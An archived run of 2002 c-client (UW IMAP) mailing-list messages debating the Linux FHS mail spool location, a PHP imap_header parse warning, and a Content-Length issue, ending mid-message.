mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g1DHU6TM032364 for ; Wed, 13 Feb 2002 09:30:06 -0800 Received: FROM mx1.cac.washington.edu BY mailscan3.cac.washington.edu ; Wed Feb 13 09:30:03 2002 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g1DHU3Ps029802; Wed, 13 Feb 2002 09:30:03 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g1DHTOEr037502; Wed, 13 Feb 2002 09:29:24 -0800 Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g1DHS2Mr079072 for ; Wed, 13 Feb 2002 09:28:02 -0800 Received: FROM mxu1.u.washington.edu BY mailscan6.cac.washington.edu ; Wed Feb 13 09:28:01 2002 -0800 Received: from changeofhabit.mr.itd.umich.edu (changeofhabit.mr.itd.umich.edu [141.211.144.17]) by mxu1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g1DHS0pj004551 for ; Wed, 13 Feb 2002 09:28:00 -0800 Received: from maildev.engin.umich.edu (maildev.engin.umich.edu [141.213.40.99]) by changeofhabit.mr.itd.umich.edu (8.9.3/3.2r) with ESMTP id MAA21302; Wed, 13 Feb 2002 12:27:59 -0500 (EST) Received: from localhost (cdrum@localhost) by maildev.engin.umich.edu (8.11.6/8.11.6-UMMU Gen Sol2.6) with ESMTP id g1DHRxX11241; Wed, 13 Feb 2002 12:27:59 -0500 (EST) Message-Id: Date: Wed, 13 Feb 2002 12:27:58 -0500 (EST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: chris drumgoole To: Mike Kaufman Cc: Subject: Re: issue with linux Filesystem Hierarchy Standard In-Reply-To: <20020213111436.B7384@orion.physics.wisc.edu> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Authentication-Warning: maildev.engin.umich.edu: cdrum owned process doing -bs X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I think that a resourceful person who has the knowledge to roll their own distro would also check the CONFIG file, in the docs dir. It has information on how to do this. The FAQ refers to this file several times. While it doesn't specifically say "check CONFIG if your mailbox is in a non-standard location", I don't see the point of adding this information in the FAQ question you specified. It should be known to check all the files in doc/ before asking questions on this list. -- chris drumgoole university of michigan college of engineering On Wed, 13 Feb 2002, Mike Kaufman wrote: +Date: Wed, 13 Feb 2002 11:14:36 -0600 +From: Mike Kaufman +To: zpt.r@developerschoice.net +Cc: c-client@u.washington.edu +Message-ID: <20020213111436.B7384@orion.physics.wisc.edu> +Subject: Re: issue with linux Filesystem Hierarchy Standard + +On Wed, Feb 13, 2002 at 10:03:12AM -0500, Jeff Breitner wrote: +> On Wednesday 13 February 2002 12:43 am, Mike Kaufman wrote: +> + +[snip] +> +> > Please note however, that I don't necessarily think that somebody should +> > "mandate" something like this, so don't get pissy with me for bringing +> > the issue to your attention. I thought maybe you guys would like to know +> > that for the people (like me) who like to roll their own distributions +> > (and follow some semi-conherent directory structure), when these people +> > compile your program, it breaks. +> > +> +> With all due respect Mike, you know you roll your own distro and you know +> that what you're doing is outside the "norm", so why should the failure of +> seemingly common applications surprise you? It shouldn't, and you should be +> prepared to deal with it appropriately. By the same token however, you +> shouldn't expect everyone who develops software to have to accomodate you. +> Considering the sometimes strange nature of those kernel and distro hacks, +> spending time to accomodate every little nuance of a distro is an exercise in +> futility. Especially since things can change over the course of lunch. +> +> Your options are: +> +> 1. Dig open the source and create the patches and make them available. Copy +> Crispin and maybe he'll include it in imap-2002-blah-blah. Maybe not. +> +> 2. Hack around it some other way. +> + +You both are entirely missing my point. I'm not interested in debating the +merits or lack thereof of this so-called standard. I've wasted far too much +time on this anyway. What I was interested in was the FAQ -- you know that +place where people who are having trouble with your software ought to go +first? + +Your answer to "My inbox is empty!" has an incomplete answer. There is +_another_ answer to this and that is that imap might be looking in the +wrong place for my mailboxes. Check the Makefile to see if SPOOLDIR is +the correct location. + +I've already chosen my option. Again, I don't care at all if you change +the src to address this issue. Apparently you won't. whatever. + +> +> +> > +> > > > I see that Redhat puts a symlimk to /var/spool/mail, It appears +> > > > Mandrake does the same thing. I don't know about other distros. +> +> +> They apparently have opted for #2. +> +> +> > ons about this software, you can send me email directly or use the +> > c-client@u.washington.edu mailing list +> > +> > however, who "me" is and what me's email address is is mentioned nowhere +> > in the document (at least on the webpage). +> > +> > -mike +> +> +> Try cracking open the source code. Crispin's email address is in there more +> times than Coca-Cola's logo is associated with the Olympics. You'll also +> find references to his dog (I'm not kidding). + +yeah, ok. I see now how you guys expect a FAQ to work. Make all sorts of +obscure references that can only be found by digging through the source +code. Even for something as simple as contact information... I mean, why do +guys have a FAQ anyway? It can all be found in the source code, right? + +-mike +> +> -- +> +> +> Jeff Breitner +> Lead System Administrator +> (come to think of it, I'm the only system administrator) + From pinedev@shivax2.cac.washington.edu Wed Feb 13 09:36:12 2002 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 13 Feb 2002 09:36:12 -0800 (PST) Return-Path: Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g1DHaCTM032687 for ; Wed, 13 Feb 2002 09:36:12 -0800 Received: FROM mx1.cac.washington.edu BY mailscan1.cac.washington.edu ; Wed Feb 13 09:36:10 2002 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g1DHa9Ps030006; Wed, 13 Feb 2002 09:36:09 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g1DHZWAf017514; Wed, 13 Feb 2002 09:35:32 -0800 Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g1DHYKMr109140 for ; Wed, 13 Feb 2002 09:34:20 -0800 Received: FROM mxu2.u.washington.edu BY mailscan6.cac.washington.edu ; Wed Feb 13 09:34:19 2002 -0800 Received: from Ikkoku-Kan.Panda.COM (ikkoku-kan.panda.com [206.124.149.114]) by mxu2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g1DHYIAZ017233 for ; Wed, 13 Feb 2002 09:34:19 -0800 Received: from Ikkoku-Kan.Panda.COM (Ikkoku-Kan.Panda.COM [192.107.14.50]) by Ikkoku-Kan.Panda.COM id JAA13804; Wed, 13 Feb 2002 09:34:10 -0800 (PST) Message-Id: Date: Wed, 13 Feb 2002 09:19:55 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Mike Kaufman Cc: zpt.r@developerschoice.net, c-client@u.washington.edu Subject: Re: issue with linux Filesystem Hierarchy Standard In-Reply-To: <20020213111436.B7384@orion.physics.wisc.edu> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 13 Feb 2002 11:14:36 -0600, Mike Kaufman wrote: > You both are entirely missing my point. I'm not interested in debating the > merits or lack thereof of this so-called standard. I've wasted far too much > time on this anyway. What I was interested in was the FAQ -- you know that > place where people who are having trouble with your software ought to go > first? The FAQ in the IMAP toolkit, like the FAQ for just about any other software, is aimed at end users and not at the vendors of incompatible operating system variants. You want an FAQ for you? OK, here is. It applies to all questions on all software packages! Q: I made a set of incompatible changes to my operating system and a program isn't working. What do I do? A: Review all your incompatible changes, and see which ones may have broken something that the program depended upon. For each such change, either provide a compatibility measure so that the program is no longer broken, or edit that program so it knows about your change. This FAQ is only 6 lines long, and covers all situation which you as the vendor of an incompatible operating system will encounter. Most people assume that the answer to this question is obvious and doesn't need to be stated. > Your answer to "My inbox is empty!" has an incomplete answer. There is > _another_ answer to this and that is that imap might be looking in the > wrong place for my mailboxes. Check the Makefile to see if SPOOLDIR is > the correct location. That is irrelevant. When you make incompatible changes to the operating system, then the potential set of causes of a problem is infinite. It is absolutely impossible for me or any other human being to anticipate all the ways in which an incompatible operating system change can cause a particular symptom. > yeah, ok. I see now how you guys expect a FAQ to work. Make all sorts of > obscure references that can only be found by digging through the source > code. Even for something as simple as contact information... I mean, why do > guys have a FAQ anyway? It can all be found in the source code, right? You are a vendor of an incompatible operating system, and you apparently wish to bundle third-party software with your incompatible operating system. As such, it is your responsibility to dig into the source code of all third party software to make it run on your incompatible operating system. It is not the responsibility of the vendors of third party software to accomodate you. If you do not like it, then I respectfully suggest that you get out of the business of incompatible operating systems. Not many people want to get into that business; of those who have, many have left. You now know one of the reasons why. FAQs deal with user problems, not with the foibles of the vendors of incompatible operating systems. It is impossible for any FAQ to accomodate the latter. From pinedev@shivax2.cac.washington.edu Wed Feb 13 09:54:22 2002 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 13 Feb 2002 09:54:22 -0800 (PST) Return-Path: Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g1DHsMTM001176 for ; Wed, 13 Feb 2002 09:54:22 -0800 Received: FROM mx1.cac.washington.edu BY mailscan1.cac.washington.edu ; Wed Feb 13 09:54:19 2002 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g1DHsJPs030701; Wed, 13 Feb 2002 09:54:19 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g1DHrPEr021760; Wed, 13 Feb 2002 09:53:25 -0800 Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g1DHqHMr035172 for ; Wed, 13 Feb 2002 09:52:17 -0800 Received: FROM mxu4.u.washington.edu BY mailscan5.cac.washington.edu ; Wed Feb 13 09:52:17 2002 -0800 Received: from stratus.swi.com.br (stratus.swi.com.br [200.203.204.140]) by mxu4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g1DHqE37003981 for ; Wed, 13 Feb 2002 09:52:16 -0800 Received: from speedy.swi (titan.swi.com.br [200.203.204.141]) by stratus.swi.com.br (8.11.6/8.11.1) with ESMTP id g1DHp3m11911; Wed, 13 Feb 2002 15:51:03 -0200 Message-Id: <200202131751.g1DHp3m11911@stratus.swi.com.br> Date: Wed, 13 Feb 2002 15:51:03 -0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Raul Dias To: Mark Crispin Cc: , Mike Kaufman , Mark Crispin Subject: Re: issue with linux Filesystem Hierarchy Standard In-Reply-To: References: Content-Type: text/plain; charset="ISO-8859-1" Content-Disposition: inline Content-Transfer-Encoding: 7bit MIME-Version: 1.0 X-Local-Destination: c-client@u.washington.edu X-Local-Origin: chaos@swi.com.br X-Gateway: Speedway Internet Service http://www.swi.com.br X-Secret: http://www.swi.com.br/~chaos/cmc/cmc_secret X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Mark Crispin wrote: >> >It sure sounds like /var/spool/mail is the correct setting for Linux. >> I agree, and it makes more sense too. > >I agree that /var/spool/mail makes more sense. I don't think that there is a >snowball's chance in hell of "standardizing" upon /var/mail, at least not >without a lot more community input. You can't just put up a web page and >claim to be a new standard. > The FHS is the "sub-division" of LSB to stadartize the filesystem in a Linux OS. It is sponsored by many linux distributions and related organizations and its members are (or should be at least) Linux kernel hackers, developers and packagers from the OS community and the distributions. It is open to anyone willing to contribute. That said, it is too strange for me a change to something that no one uses. Raul Dias From pinedev@shivax2.cac.washington.edu Wed Feb 13 10:01:42 2002 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 13 Feb 2002 10:01:42 -0800 (PST) Return-Path: Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g1DI1fTM001626 for ; Wed, 13 Feb 2002 10:01:41 -0800 Received: FROM mx2.cac.washington.edu BY mailscan4.cac.washington.edu ; Wed Feb 13 10:01:38 2002 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g1DI1cmT023649; Wed, 13 Feb 2002 10:01:38 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g1DI0vKT020562; Wed, 13 Feb 2002 10:00:57 -0800 Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g1DHw9Mr075816 for ; Wed, 13 Feb 2002 09:58:09 -0800 Received: FROM mxu1.u.washington.edu BY mailscan5.cac.washington.edu ; Wed Feb 13 09:58:08 2002 -0800 Received: from dg.dgtech.com (dg.dgtech.com [65.116.216.157]) by mxu1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g1DHw7pj014447 for ; Wed, 13 Feb 2002 09:58:08 -0800 Received: from dg.dgtech.com (dg.dgtech.com [192.168.2.1]) by dg.dgtech.com (8.12.1/8.12.1) with ESMTP id g1DHw7I5019359 for ; Wed, 13 Feb 2002 12:58:07 -0500 Message-Id: Date: Wed, 13 Feb 2002 12:58:07 -0500 (EST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Anthony Guarnieri To: Subject: Re: issue with linux Filesystem Hierarchy Standard In-Reply-To: <200202131751.g1DHp3m11911@stratus.swi.com.br> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I think we've hit the 'beating a dead horse' stage on both sides... From pinedev@shivax2.cac.washington.edu Thu Feb 14 15:23:37 2002 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 14 Feb 2002 15:23:37 -0800 (PST) Return-Path: Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g1ENNbTM015829 for ; Thu, 14 Feb 2002 15:23:37 -0800 Received: FROM mx2.cac.washington.edu BY mailscan2.cac.washington.edu ; Thu Feb 14 15:23:32 2002 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g1ENNVmT013074; Thu, 14 Feb 2002 15:23:31 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g1ENMmAf022208; Thu, 14 Feb 2002 15:22:48 -0800 Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g1ENL75S075042 for ; Thu, 14 Feb 2002 15:21:07 -0800 Received: FROM mxu3.u.washington.edu BY mailscan2.cac.washington.edu ; Thu Feb 14 15:21:06 2002 -0800 Received: from smtpdel1.now-india.net.in (smtpdel1.now-india.net.in.128.195.203.in-addr.arpa [203.195.128.73] (may be forged)) by mxu3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g1ENKu4u019334 for ; Thu, 14 Feb 2002 15:21:04 -0800 Received: from anshul (203-195-150-102.now-india.net.in [203.195.150.102] (may be forged)) by smtpdel1.now-india.net.in (8.11.6/8.11.6) with ESMTP id g1ENEY702784 for ; Fri, 15 Feb 2002 04:44:34 +0530 Received: from 192.168.1.163 by anshul ([192.168.1.141] running VPOP3) with SMTP for ; Fri, 15 Feb 2002 04:55:36 +0530 Message-Id: <3.0.5.32.20020215040933.0119da30@192.168.1.141> Date: Fri, 15 Feb 2002 04:09:33 +0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Vikas Aggarwal To: c-client@u.washington.edu Subject: Bug in IMAP function's library : "imap_header" Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" X-Sender: vikas@192.168.1.141 X-Server: VPOP3 V1.4.0 - Registered to: InterMESH Systems X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi, There is a bug (seems to be) in one of the function's library. The function is "imap_header". The bug is that if a mail is sent using Eudora or from Outlook Express, and you have only mentioned the email-id's in BCC field, the mail that is stored in the mail file, has following format ################ To: Subject: Fw:Newsletter Date: Sat, 2 Feb 2002 22:17:37 +0530 ################ On using the web-based interface for displaying mails, the function "imap_header" is used to read to read one mail at a time and show information. But if any mail has above header, the function starts displaying the warning ################## Warning: Unterminated mailbox: Undisclosed-Recipient@mydomain.com (errflg=3) in Unknown on line 0 Warning: Unexpected characters at end of address: :;@vd1.vsnl.net.in;> (errflg=3) in Unknown on line 0 ##################### I am using the function as ############## for ($i = $begin, $j = $beginIndex; $i <= $end; $i++, $j++) { $msgnum = $sorted[$i-1]; $h = @imap_header($imp->stream, imap_msgno($imp->stream, $msgnum)); ... and further } ############## I asked the same problem on php.net site and the final answer that i got says that the -> imap <- library generates this warning and that there is -> nothing <- PHP can do about it. This has to be fixed in the imap library. You can see the conversation at http://bugs.php.net/bug.php?id=15536 Hope if i can get any sort of help in this regard. Otherwise, is there any work around to atleast stop warning to appear!! Thanks in advance. Vikas Aggarwal From pinedev@shivax2.cac.washington.edu Thu Feb 14 20:27:54 2002 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 14 Feb 2002 20:27:54 -0800 (PST) Return-Path: Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g1F4RsTM028210 for ; Thu, 14 Feb 2002 20:27:54 -0800 Received: FROM mx2.cac.washington.edu BY mailscan5.cac.washington.edu ; Thu Feb 14 20:27:54 2002 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g1F4RrmT022269; Thu, 14 Feb 2002 20:27:54 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g1F4QwKT005990; Thu, 14 Feb 2002 20:26:58 -0800 Received: from mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.5]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g1F4PB5S034558 for ; Thu, 14 Feb 2002 20:25:11 -0800 Received: from mailscan-out3.cac.washington.edu (mailscan-out3.cac.washington.edu [140.142.32.18]) by mxout1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g1F4PBxY028489 for ; Thu, 14 Feb 2002 20:25:11 -0800 Received: FROM smtp.washington.edu BY mailscan-out3.cac.washington.edu ; Thu Feb 14 20:25:06 2002 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) by smtp.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g1F4P3kx021056 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 14 Feb 2002 20:25:05 -0800 Message-Id: Date: Thu, 14 Feb 2002 20:25:03 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Vikas Aggarwal Cc: c-client@u.washington.edu Subject: Re: Bug in IMAP function's library : "imap_header" In-Reply-To: <3.0.5.32.20020215040933.0119da30@192.168.1.141> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Fri, 15 Feb 2002, Vikas Aggarwal wrote: > There is a bug (seems to be) in one of the function's library. > The function is "imap_header". There is no such function in the c-client library. That must be a PHP function. I don't know if PHP is calling any c-client imap_???() functions directly, but if it is, then it is very broken. All c-client imap_???() functions are internal to c-client and must not be calle dexternally. > The bug is that if a mail is sent using Eudora or from Outlook Express, > and you have only mentioned the email-id's in BCC field, the mail that is > stored in the mail file, has following format > ################ > To: > ################ This To: header has invalid syntax according to both RFC 822 and RFC 2822. I am fairly confident that neither Eudora nor Outlook express generate such a bogus header. They probably generated To: Undisclosed Recipient: ; which is valid according to RFC 822 and RFC 2822. So, some other program, probably the mail transmission agent or mail delivery agent, damaged this header. > But if any mail has above header, the function starts displaying the warning > ################## > Warning: Unterminated mailbox: Undisclosed-Recipient@mydomain.com > (errflg=3) in Unknown on line 0 > > Warning: Unexpected characters at end of address: :;@vd1.vsnl.net.in;> > (errflg=3) in Unknown on line 0 > ##################### If you check the c-client documentation, you will find that errflg=3 is an RFC [2]822 parse error. > I asked the same problem on php.net site and the final answer that i got > says that the -> imap <- library generates this warning and that there > is -> nothing <- PHP can do about it. This has to be fixed in the imap > library. There is nothing to fix in the c-client library. This is a legitimate diagnostic of invalid RFC [2]822 syntax. It is labelled as such. The application is free to disregard mm_log() events with errflg=3 if it desires. All events with errflg=3 are that class of message header parsing error. > Otherwise, is there any work around to atleast stop warning to appear!! It all depends upon what is displaying those warnings. c-client displays nothing. The display is being done by something outside of c-client, and c-client gave it the information to know what type of event it was. If your application is displaying mm_log() events with no way to suppress them even if errflg=3, then this is a bug in your application and it's your bug to fix. If PHP is displaying mm_log() events with no way to suppress them even if errflg=3, then this is a bug in PHP and it's the PHP maintainers' bug to fix. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. From pinedev@shivax2.cac.washington.edu Fri Feb 15 20:50:55 2002 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 15 Feb 2002 20:50:55 -0800 (PST) Return-Path: Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g1G4otTM006917 for ; Fri, 15 Feb 2002 20:50:55 -0800 Received: FROM mx2.cac.washington.edu BY mailscan4.cac.washington.edu ; Fri Feb 15 20:50:54 2002 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g1G4osmT030817; Fri, 15 Feb 2002 20:50:54 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g1G4nXKT022938; Fri, 15 Feb 2002 20:49:33 -0800 Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g1G4kU5S111860 for ; Fri, 15 Feb 2002 20:46:31 -0800 Received: FROM mxu1.u.washington.edu BY mailscan5.cac.washington.edu ; Fri Feb 15 20:46:21 2002 -0800 Received: from mail.braincells.com (samadhi.braincells.com [216.162.42.100]) by mxu1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g1G4kKbn025527 for ; Fri, 15 Feb 2002 20:46:21 -0800 Received: from localhost (localhost [127.0.0.1]) by mail.braincells.com (Postfix) with ESMTP id ECFF3826E; Fri, 15 Feb 2002 23:46:18 -0500 (EST) Message-Id: Date: Fri, 15 Feb 2002 23:46:18 -0500 (EST) Reply-To: "Jaldhar H. Vyas" Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Jaldhar H. Vyas" To: Mark Crispin Cc: Mike Kaufman , Subject: re: issue with linux Filesystem Hierarchy Standard In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-X-Sender: jaldhar@samadhi.braincells.com X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 12 Feb 2002, Mark Crispin wrote: > On Tue, 12 Feb 2002 22:17:38 -0600, Mike Kaufman wrote: > > the FHS standard at http://www.pathname.com/fhs/ > > decrees that if the mail system is installed, user mailboxes should be > > located in /var/mail. > > Who delegated the authority to decress this to them? > A commitment to follow FHS has been part of Debian policy for a long time now and followed to a lesser or greater degree by the others. The FHS is part of the Linux Standard Base (http://www.freestandards.org/) effort which all the major Linux distributions have agreed to. > > compiling with "make slx" puts the SPOOLDIR at "/var/spool" instead of > > "/var" > > Well, golly gee, on the Linux systems that I use, the spool directory is on > /var/spool/mail. Some but not all of them have symlinks from /var/mail to > /var/spool/mail. > Most vendors are going with the symlink precisely to deal with legacy situations but /var/mail is indeed correct. I patched uw-imap in my binary packages to use /var/mail as the mail spool about six months ago I think. > So some propellerhead has decided to further exacerbate confusion by > setting a "standard" that is incompatible with existing Linux systems. > And it's my fault that I support what's compatible with existing Linux > systems? The nice thing about standards as they say is that there are so many to choose from. :) This one looks like it might stick however. > > I see that Redhat puts a symlimk to /var/spool/mail, It appears Mandrake > > does the same thing. I don't know about other distros. > > On the Redhat systems I use, it's on /var/spool/mail and there's no link from > /var/mail. > How old is it? Red Hat 7.2 has the symlink. Debian hasn't released an official stable distribution for a long time (don't get me started on that!) so many Debian systems may not have it but newer ones do. So bottom line is for Linux you ought to set the mail spool dir to /var/mail by default and let people who want something else change it. -- Jaldhar H. Vyas It's a girl! See the pictures - http://www.braincells.com/shailaja/ From pinedev@shivax2.cac.washington.edu Tue Feb 26 05:49:49 2002 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 26 Feb 2002 05:49:49 -0800 (PST) Return-Path: Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g1QDnnTM011379 for ; Tue, 26 Feb 2002 05:49:49 -0800 Received: FROM mx2.cac.washington.edu BY mailscan2.cac.washington.edu ; Tue Feb 26 05:49:46 2002 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g1QDnjmT020958; Tue, 26 Feb 2002 05:49:45 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g1QDmvAf020938; Tue, 26 Feb 2002 05:48:58 -0800 Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g1QDjPnJ090764 for ; Tue, 26 Feb 2002 05:45:25 -0800 Received: FROM mxu1.u.washington.edu BY mailscan3.cac.washington.edu ; Tue Feb 26 05:45:24 2002 -0800 Received: from mail1.rrz.Uni-Koeln.DE (mail1.rrz.Uni-Koeln.DE [134.95.100.208]) by mxu1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g1QDjNxZ023245 for ; Tue, 26 Feb 2002 05:45:23 -0800 Received: from news.rrz.Uni-Koeln.DE (news.rrz.Uni-Koeln.DE [134.95.100.202]) (authenticated as user a0620 bits=0) by mail1.rrz.Uni-Koeln.DE (8.12.2/8.12.2) with ESMTP id g1QDYdjp018902 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NOT) for ; Tue, 26 Feb 2002 14:34:39 +0100 (MET) Message-Id: <326710000.1014730460@news.rrz.Uni-Koeln.DE> Date: Tue, 26 Feb 2002 14:34:20 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Sebastian Hagedorn To: c-client@u.washington.edu Subject: Content-Length not honored MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1; FORMAT=flowed Content-Transfer-Encoding: quoted-printable Content-Disposition: inline X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi, I was caught unawares by a behavior of c-client that is quite=20 disadvantageous in our situation. We've upgraded our central mail server=20 and now use the UW versions of POP and IMAP whereas previously we'd been=20 using Sun's SIMS 2.0 (yuck!). Well, everything is fine except for an issue with bounces from Majordomo.=20 These appear like this in the mailbox (standard mbox format): NB they actually 